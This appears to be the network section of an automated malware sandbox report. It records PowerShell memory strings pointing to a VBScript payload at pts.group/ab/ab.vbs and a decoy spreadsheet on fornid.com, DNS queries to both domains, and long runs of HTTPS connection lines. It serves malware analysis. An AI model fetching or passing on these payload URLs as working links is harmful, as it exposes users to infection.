Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net

Source: global traffic	DNS traffic detected: DNS query: www.pts.group
Source: global traffic	DNS traffic detected: DNS query: www.fornid.com

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 787date: Sun, 08 Dec 2024 09:46:19 GMTserver: LiteSpeedstrict-transport-security: max-age=63072000; includeSubDomainsx-frame-options: SAMEORIGINx-content-type-options: nosniffalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: powershell.exe, 00000002.00000002.2820083162.0000022AB5920000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: svchost.exe, 00000004.00000002.2797556263.000001C3BD811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 57C8EDB95DF3F0AD4EE2DC2B8CFD41570.5.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.4.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.4.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9F38A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://fornid.com
Source: powershell.exe, 00000002.00000002.2816308883.0000022AAD7E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9EC16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pts.group
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9D631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9F38A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fornid.com
Source: powershell.exe, 00000002.00000002.2794990310.0000022A9B985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.cofW
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9EC16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.pts.group
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9D631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000004.00000003.1551381298.000001C3BD6E0000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.4.dr, edb.log.4.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9E25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000002.00000002.2818970415.0000022AB576D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://go.microsoft.co
Source: powershell.exe, 00000002.00000002.2816308883.0000022AAD7E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2816308883.0000022AAD6A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9EDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.fornid.com
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9EDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.fornid.com/ab/List
Source: powershell.exe, 00000002.00000002.2794328407.0000022A9B8A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.fornid.com/ab/List%20of%20required%20items.xlsx
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9E25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pts.group
Source: powershell.exe, 00000002.00000002.2794328407.0000022A9B8A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.pts.group/ab/ab.vbs
Source: powershell.exe, 00000002.00000002.2795821460.0000022A9D85C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.pts.group/ab/ab.vbs0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
